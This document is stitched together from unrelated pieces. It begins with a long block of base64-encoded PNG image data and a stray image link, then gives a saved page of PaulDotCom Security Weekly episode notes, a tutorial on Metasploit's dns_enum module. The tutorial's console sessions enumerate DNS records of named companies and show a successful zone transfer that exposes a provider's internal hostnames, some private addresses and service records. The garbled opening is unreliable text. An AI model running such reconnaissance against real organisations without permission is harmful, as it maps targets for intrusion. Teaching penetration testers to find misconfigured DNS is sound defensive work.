DOD222/3ff+KK64oFovLly83DGPp0qWo4YDLurq6Hn300eEbr2o24J/97GdPPPHE0M3Fixd/4QtfQA0H/NRTTz3++OOf+cxnksnkAw88sHz58s997nOo1YB/
+ctfPvLIIyMuXnXVVSeeeGJtBgzg3nvvTaVSV155ZTqdXr58eSAQOPfcc1GrrzAz33rrrcFg8O/+7u8GBgYeeugh0zTPOeecGgz4XX1YTFLwKsFSYFnWr3/9
66uuumrRokUA+vr6Hn/88Vr4xzzC8uXLf/Ob34y4WLPB9/X1vfXWW9/5znfKm/Bd173//vsvvfRS27ZrM+D+/v7169ffeOON7e3tALZv375q1aqlS5fW7Ctc
JqW8995758yZ09vbW75SywH39PScc845Q8FEo1HUcMDM/NRTTy1duvTkk08GcNFFFz388MPMXLO/w6eccsq8efOGbq5du/aZZ56ZPXt2zb7CjuO88sor1157
bTnsLVu2vPjii+eee27NBvz2229v27bt+9//fl1dHYBcLvf888+fc845tRbwu/qwmLzgVQ2WgnXr1gE45phjyjcXLly4ZcuWXC53UIMaw4UXXnjzzTd/9rOf
HX6xZoPv7u5ubm5u2H3wYiKRsG3btu2aDbhYLM6dO3fKlCnlm4lEwnEc1PArXPbrX//aNM1TTjll6EotB9zT03PsscfO2a38atdswJs3b85ms+XsCsAJJ5xw
8803///27jSoqevvA/gJyWUPhE0WZd+JKKAgFLCKUqioRSigdagWsIgVZ6zWpVKL1rG8sVa7uADujBBkExRrBEEgsiUsFQdEkEBAdggJBghJnhfn6Z0MJVVb
Ha7+z+dV7knuzTdXY36ec+65JBKJsIF1dXXlz21JSUlMTAyNRiNsYDigSaVS4aaWltb09DQg8F+J/v5+bW1tWF0BAIyNjXt6esbGxogW+LV+LN5eeFRgIWBo
aIhKpeKj1LAmGBkZmdNQs9DS0po3b96MJfgIG37RokXw1wgAIJPJqqur9fX1VVVVCRvYzMxs//79cP7H4OBgSUmJm5sbIPAZBgD09/cXFBRs2bJF/rprwgaW
yWT9/f3379/fvXv33r17GQwGLGEJG7i3t1dXV5fNZu/duzc+Pj41NRX+6hA2sLyMjAwHBwc6nQ4IHFhNTc3GxqagoODFixfPnz+/f//+okWLAIEDa2pqCgQC
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
image/png 800 800
https://raw.githubusercontent.com/zonination/perceptions/master/plot1.png
plot1.png

# Episode175 - PaulDotCom Security Weekly

**Created:**| _11/17/2009 12:40:46 PM_  
---|---  
**Updated:**| _11/17/2009 12:41:01 PM_  
**Author:**| __  
**Tags:**| _pauldotcom Metasploit network-security Tutorials_  
  

# Tech Segment: Carlos "DarkOperator" Perez - DNS Enumeration with MetaSploit

DNS Enumeration has to be one of the areas of enumeration and recon most
overlooked by many professionals. In the last couple of years I have been
asked to give a check on a couple of clients after a Penteste team has done
supposedly a test of the defenses of a client to find out that the client had
Zone Transfers enabled and and it was not tested on, also we have seen
internal IP's exposed by mistake and Active Directory SRV records exposed to
the outside world that is why I wrote this MSF Module that is part of
Metasploit 3.3 RC1. To use the module one simply launches msfconsole and load
the dns\_enum auxiliary module:

[code]

    carlos@loki:~/svn/msf3-dev$ ./msfconsole
    
                                      _       _
                 _                   | |     (_)_
     ____   ____| |_  ____  ___ ____ | | ___  _| |_
    |    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
    | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
    |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                               |_|
    
    
           =[ metasploit v3.3-rc1 [core:3.3 api:1.0]
    + -- --=[ 384 exploits - 166 auxiliary
    + -- --=[ 261 payloads - 20 encoders - 7 nops
           =[ svn r7485 updated today
    
    msf > db_create
    [*] Creating a new database instance...
    [*] Successfully connected to the database
    [*] File: /home/carlos/.msf3/sqlite3.db
    msf > use auxiliary/gather/dns_enum
    
    
[/code]

To get a list of the main options one simply runs the info command:

[code]

       msf auxiliary(dns_enum) > info
    
    
[/code]

[code]

       Name: DNS Enumeration Module
       Version: $Rev: 7466
       License: Metasploit Framework License (BSD)
    
    
[/code]

[code]

     Provided by:
     Carlos Perez <carlos_perez@darkoperator.com>
    
    
[/code]

[code]

     Basic options:
     Name         Current Setting                                        Required  Description
     ----         ---------------                                        --------  -----------
     DOMAIN                                                              yes       The target domain name
     ENUM_AXFR    true                                                   yes       Initiate a zone Transfer against each NS record
     ENUM_BRT     false                                                  yes       Brute force subdomains and hostnames via wordlist
     ENUM_RVL     false                                                  yes       Reverse lookup a range of IP addresses
     ENUM_SRV     true                                                   yes       Enumerate the most common SRV records
     ENUM_STD     true                                                   yes       Enumerate standard record types (A,MX,NS,TXT and SOA)
     ENUM_TLD     false                                                  yes       Perform a top-level domain expansion by replacing TLD and testing against IANA TLD list
     IPRANGE                                                             no        The target address range or CIDR identifier
     NS                                                                  no        Specify the nameserver to use for queries, otherwise use the system DNS
     STOP_WLDCRD  false                                                  yes       Stops Brute Force Enumeration if wildcard resolution is detected
     WORDLIST     /home/carlos/svn/msf3-dev/data/wordlists/namelist.txt  no        Wordlist file for domain name brute force.
    
    
[/code]

[code]

     Description:
     This module can be used to enumerate various types of information
     about a domain from a specific DNS server.
    
    
[/code]

As seen the options for enumeration are:

  * Zone Transfer
  * Brute Force with Dictionary
  * Reverse Lookup of an IPRANGE
  * Standard Record Lookup \(NS, SOA, MX, A and TXT\)
  * Top Level Domain Enumeration testing for gTLD's and ccTLD's
  * Service Record Enumeration by looking for the most common type of records.
  * Check for wildcard name resolution.

There are also Advanced Options that can be seen by running 'show advanced'
command:

[code]

     msf auxiliary(dns_enum) > show advanced
    
    
[/code]

[code]

     Module advanced options:
    
    
[/code]

[code]

      Name           : RETRY
      Current Setting: 2
      Description    : Number of times to try to resolve a record if no response is
         received
    
    
[/code]

[code]

      Name           : RETRY_INTERVAL
      Current Setting: 2
      Description    : Number of seconds to wait before doing a retry
    
    
[/code]

[code]

      Name           : THREADS
      Current Setting: 10
      Description    : Number of threads to use when using ENUM_BRT, ENUM_TLD, and
         ENUM_RVL checks
    
    
[/code]

as it can be seen the options are the Retry Interval, Retry and number of
Threads. One special thing to be aware of is when running ENUM\_BRT,
ENUM\_TLD, and ENUM\_RVL checks and having everything logged in to a Database
to use a DB like MySQL or Postgres so as to avoid lockouts or bring the number
of threads if using SQLite to 1.

Let start by doing a simple enumeration of standard records for Google by
disabling all other checks:

[code]

     msf auxiliary(dns_enum) > set ENUM_AXFR false
     ENUM_AXFR => false
     msf auxiliary(dns_enum) > set ENUM_SRV false
     ENUM_SRV => false
     msf auxiliary(dns_enum) > set DOMAIN google.com
     DOMAIN => google.com
     msf auxiliary(dns_enum) > run
    
    
[/code]

[code]

     [*] Setting DNS Server to google.com NS: xxx.xxx.xxx.10
     [*] Retrieving General DNS Records
     [*] Domain: google.com IP Address: xxx.xxx.xxx.100 Record: A
     [*] Domain: google.com IP Address: xxx.xxx.xxx.100 Record: A
     [*] Domain: google.com IP Address: 74.125.45.100 Record: A
     [*] Start of Authority: ns1.google.com. IP Address: xxx.xxx.xxx.10 Record: SOA
     [*] Name Server: ns3.google.com. IP Address: xxx.xxx.xxx.10 Record: NS
     [*] Name Server: ns4.google.com. IP Address: xxx.xxx.xxx.10 Record: NS
     [*] Name Server: ns1.google.com. IP Address: xxx.xxx.xxx.10 Record: NS
     [*] Name Server: ns2.google.com. IP Address: xxx.xxx.xxx.10 Record: NS
     [*] Name: google.com.s9a1.psmtp.com. Preference: 10 Record: MX
     [*] Name: google.com.s9b2.psmtp.com. Preference: 10 Record: MX
     [*] Name: google.com.s9a2.psmtp.com. Preference: 10 Record: MX
     [*] Name: google.com.s9b1.psmtp.com. Preference: 10 Record: MX
     [*] Text: v=spf1 include:_netblocks.google.com ip4:xxx.xxx.xxx.70/31 ip4:xxx.xxx.xxx.72/31 ~all , TXT
     [*] Auxiliary module execution completed
    
    
[/code]

As we can see Google was so nice to give us it's ranges for mail servers in
the Text record for spf type entries. lets see the sabed data in the DB by
running the 'db\_notes' command:

[code]

     msf auxiliary(dns_enum) >
     msf auxiliary(dns_enum) > db_notes
     [*] Time: Thu Nov 12 17:27:26 -0400 2009 Note: host=xxx.xxx.xxx.100 type=DNS_ENUM data=xxx.xxx.xxx.100,google.com,A
     [*] Time: Thu Nov 12 17:27:26 -0400 2009 Note: host=xxx.xxx.xxx.100 type=DNS_ENUM data=xxx.xxx.xxx.100,google.com,A
     [*] Time: Thu Nov 12 17:27:26 -0400 2009 Note: host=xxx.xxx.xxx.100 type=DNS_ENUM data=xxx.xxx.xxx.100,google.com,A
     [*] Time: Thu Nov 12 17:27:26 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=xxx.xxx.xxx.10,ns1.google.com.,SOA
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=xxx.xxx.xxx.10,ns3.google.com.,NS
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=xxx.xxx.xxx.10,ns4.google.com.,NS
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=xxx.xxx.xxx.10,ns1.google.com.,NS
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=xxx.xxx.xxx.10,ns2.google.com.,NS
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=google.com.s9a1.psmtp.com.,MX
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=google.com.s9b2.psmtp.com.,MX
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=google.com.s9a2.psmtp.com.,MX
     [*] Time: Thu Nov 12 17:27:27 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=google.com.s9b1.psmtp.com.,MX
     [*] Time: Thu Nov 12 17:27:28 -0400 2009 Note: host=xxx.xxx.xxx.10 type=DNS_ENUM data=v=spf1 include:_netblocks.google.com ip4:xxx.xxx.xxx.70/31 ip4:xxx.xxx.xxx.72/31 ~all ,TXT
     msf auxiliary(dns_enum) >
    
    
[/code]

Now lets test for some SRV records for this we will pick Avaya, we enable SRV
enumeration and change the target domain:

[code]

     msf auxiliary(dns_enum) > set ENUM_SRV true
     ENUM_SRV => true
     msf auxiliary(dns_enum) > set DOMAIN avaya.com
     DOMAIN => avaya.com
     msf auxiliary(dns_enum) > run
    
    
[/code]

[code]

     [*] Setting DNS Server to avaya.com NS: xxx.xxx.xxx.99
     [*] Retrieving General DNS Records
     [*] Domain: avaya.com IP Address: xxx.xxx.xxx.75 Record: A
     [*] Start of Authority: njextdns.avaya.com. IP Address: xxx.xxx.xxx.99 Record: SOA
     [*] Name Server: njextdns.avaya.com. IP Address: xxx.xxx.xxx.99 Record: NS
     [*] Name Server: coextdns.avaya.com. IP Address: xxx.xxx.xxx.99 Record: NS
     [*] Name Server: frextdns.avaya.com. IP Address: xxx.xxx.xxx.99 Record: NS
     [*] Name: nj300815-nj-iereast.avaya.com. Preference: 100 Record: MX
     [*] Name: co300216-co-ierwest.avaya.com. Preference: 100 Record: MX
     [*] Name: de307622-de-ieremea.avaya.com. Preference: 100 Record: MX
     [*] Setting DNS Server to avaya.com NS: xxx.xxx.xxx.99
     [*] Enumerating SRV Records for avaya.com
     [*] SRV Record: _sip._tls.avaya.com Host: sip.avaya.com. Port: 443 Priority: 0
     [*] SRV Record: _sipfederationtls._tcp.avaya.com Host: sip.avaya.com. Port: 5061 Priority: 10
     [*] Auxiliary module execution completed
     msf auxiliary(dns_enum) >
    
    
[/code]

As we can see they have a SIP VOIP system published and a Federation, both
running over TLS/

Lets test for Zone Transfers for this we willl choose Intermedia. We set all
other checks to false and change the target domain:

[code]

     msf auxiliary(dns_enum) > set ENUM_STD false
     ENUM_STD => false
     msf auxiliary(dns_enum) > set DOMAIN intermedia.net
     DOMAIN => intermedia.net
     msf auxiliary(dns_enum) > set ENUM_SRV false
     ENUM_SRV => false
     msf auxiliary(dns_enum) > set ENUM_AXFR true
     ENUM_AXFR => true
     msf auxiliary(dns_enum) >
     [*] Testing Nameserver: ns4.intermedia.net.
     AXFR query, switching to TCP
     [*] Zone Transfer Successful
     [*] Name: ns2.intermedia.net. Record: SOA
     [*] Text: v=spf1 include:spf.intermedia.net a:neii.intermedia.net a:multipurpose.intermedia.net a:fax-gw.intermedia.net a:relay.stanaphone.com a:exhub-1.intermedia.net a:exhub-2.intermedia.net mx a:external13.msoutlookonline.net a:vtrnz.com ~all  Record: TXT
     [*] Name: smtp.intermedia.net. Preference: 10 Record: MX
     [*] Name: intermedia.net. IP Address: xxx.xxx.xxx.183 Record: A
     [*] Name: ns2.intermedia.net. Record: NS
     [*] Name: ns3.intermedia.net. Record: NS
     [*] Name: ns4.intermedia.net. Record: NS
     [*] Host: ocs.intermedia-inc.net. Port: 5061 Priority: 0 Record: SRV
     [*] Host: xmpp-1.intermedia.net. Port: 5269 Priority: 0 Record: SRV
     [*] Host: sip.intermedia.net. Port: 5061 Priority: 0 Record: SRV
     ................................................
     [*] Name: antigen.intermedia.net. IP Address: xxx.xxx.xxx.27 Record: A
     [*] Name: sql1.antispam.intermedia.net. IP Address: xxx.xxx.xxx.248 Record: A
     ......................................................
     [*] Name: hpadmin.intermedia.net. IP Address: xxx.xxx.xxx.142 Record: A
     [*] Name: ic.intermedia.net. IP Address: xxx.xxx.xxx.133 Record: A
     [*] Name: pdc019.icpemail.intermedia.net. Record: NS
     [*] Name: pdc019.icpemail.intermedia.net. IP Address: xxx.xxx.xxx.17 Record: A
     [*] Name: multipurpose.intermedia.net. Record: CNAME
     [*] Name: iis.intermedia.net. IP Address: xxx.xxx.xxx.244 Record: A
     [*] Name: iis7.intermedia.net. IP Address: xxx.xxx.xxx.244 Record: A
     [*] Name: imapsync1-1.intermedia.net. IP Address: 10.10.192.183 Record: A
     [*] Name: imdev.intermedia.net. IP Address: xxx.xxx.xxx.15 Record: A
     ................................................................................
     [*] Name: kvm1.intermedia.net. IP Address: xxx.xxx.xxx.243 Record: A
     [*] Name: ldap10.intermedia.net. IP Address: xxx.xxx.xxx.122 Record: A
     [*] Name: ldap11.intermedia.net. IP Address: xxx.xxx.xxx.127 Record: A
     [*] Name: ldap12.intermedia.net. IP Address: xxx.xxx.xxx.14 Record: A
     [*] Name: ldap3.intermedia.net. IP Address: xxx.xxx.xxx.4 Record: A
     ................................................................................
     [*] Name: mac10.intermedia.net. IP Address: xxx.xxx.xxx.120 Record: A
     [*] Name: mac10-1.intermedia.net. IP Address: xxx.xxx.xxx.126 Record: A
     [*] Name: mac11.intermedia.net. IP Address: xxx.xxx.xxx.125 Record: A
     [*] Name: mac3.intermedia.net. IP Address: xxx.xxx.xxx.92 Record: A
     [*] Name: mac4.intermedia.net. IP Address: xxx.xxx.xxx.93 Record: A
     [*] Name: mac5.intermedia.net. IP Address: xxx.xxx.xxx.112 Record: A
     ................................................................................
     [*] Name: mailman.intermedia.net. IP Address: xxx.xxx.xxx.213 Record: A
     [*] Name: mailman-new.intermedia.net. IP Address: xxx.xxx.xxx.212 Record: A
     [*] Name: mis3.intermedia.net. IP Address: xxx.xxx.xxx.89 Record: A
     [*] Name: mis4.intermedia.net. IP Address: xxx.xxx.xxx.90 Record: A
     [*] Name: mis5.intermedia.net. IP Address: xxx.xxx.xxx.12 Record: A
     ................................................................................
     [*] Name: monitoring.intermedia.net. IP Address: xxx.xxx.xxx.12 Record: A
     ................................................................................
     [*] Name: mysql3.intermedia.net. IP Address: xxx.xxx.xxx.197 Record: A
     [*] Name: mysql5.intermedia.net. IP Address: xxx.xxx.xxx.190 Record: A
     [*] Name: mysql5a.intermedia.net. IP Address: xxx.xxx.xxx.191 Record: A
     [*] Name: mysql5b.intermedia.net. IP Address: xxx.xxx.xxx.191 Record: A
     [*] Name: mysql5c.intermedia.net. IP Address: xxx.xxx.xxx.191 Record: A
     [*] Name: mysql5d.intermedia.net. IP Address: xxx.xxx.xxx.191 Record: A
     [*] Name: mysql5e.intermedia.net. IP Address: xxx.xxx.xxx.191 Record: A
     [*] Name: mysql5f.intermedia.net. IP Address: xxx.xxx.xxx.146 Record: A
     [*] Name: mysql5g.intermedia.net. IP Address: xxx.xxx.xxx.63 Record: A
     [*] Name: mysqladm.intermedia.net. IP Address: xxx.xxx.xxx.4 Record: A
     [*] Name: mysqladwebmail-ro-1.intermedia.net. Record: CNAME
     [*] Name: mysqladwebmail-ro-1.intermedia.net. IP Address: xxx.xxx.xxx.76 Record: A
     [*] Name: mysqladwebmail-rw-1.intermedia.net. Record: CNAME
     [*] Name: mysqladwebmail-rw-1.intermedia.net. IP Address: xxx.xxx.xxx.76 Record: A
     [*] Name: devmysql3.intermedia.net. Record: CNAME
     ................................................................................
     [*] Name: neii.intermedia.net. IP Address: xxx.xxx.xxx.60 Record: A
     [*] Name: exchange100-1.intermedia.net.intermedia.net. IP Address: xxx.xxx.xxx.188 Record: A
     [*] Name: netflow2.intermedia.net. IP Address: xxx.xxx.xxx.245 Record: A
     [*] Name: netflow2a.intermedia.net. IP Address: xxx.xxx.xxx.219 Record: A
     ................................................................................
     [*] Name: provisioning.intermedia.net. IP Address: 10.254.254.85 Record: A
     [*] Name: provisioningdev.intermedia.net. IP Address: xxx.xxx.xxx.154 Record: A
     [*] Name: provisioningstage.intermedia.net. IP Address: xxx.xxx.xxx.166 Record: A
     ................................................................................
     [*] Name: squid.intermedia.net. IP Address: xxx.xxx.xxx.21 Record: A
     [*] Name: sslvpn.intermedia.net. IP Address: xxx.xxx.xxx.4 Record: A
     [*] Name: stage.intermedia.net. IP Address: xxx.xxx.xxx.183 Record: A
     [*] Name: sugarcrm.intermedia.net. IP Address: xxx.xxx.xxx.201 Record: A
     [*] Name: kb.intermedia.net. Record: CNAME
     [*] Name: supportftp.intermedia.net. IP Address: xxx.xxx.xxx.87 Record: A
     [*] Name: survey.intermedia.net. IP Address: xxx.xxx.xxx.228 Record: A
     [*] Name: devsvn1.intermedia.net.ru. Record: CNAME
     ................................................................................
     [*] Name: syslog3.intermedia.net. IP Address: xxx.xxx.xxx.245 Record: A
     [*] Name: syslog4.intermedia.net. IP Address: xxx.xxx.xxx.18 Record: A
     [*] Name: syslog5.intermedia.net. IP Address: xxx.xxx.xxx.100 Record: A
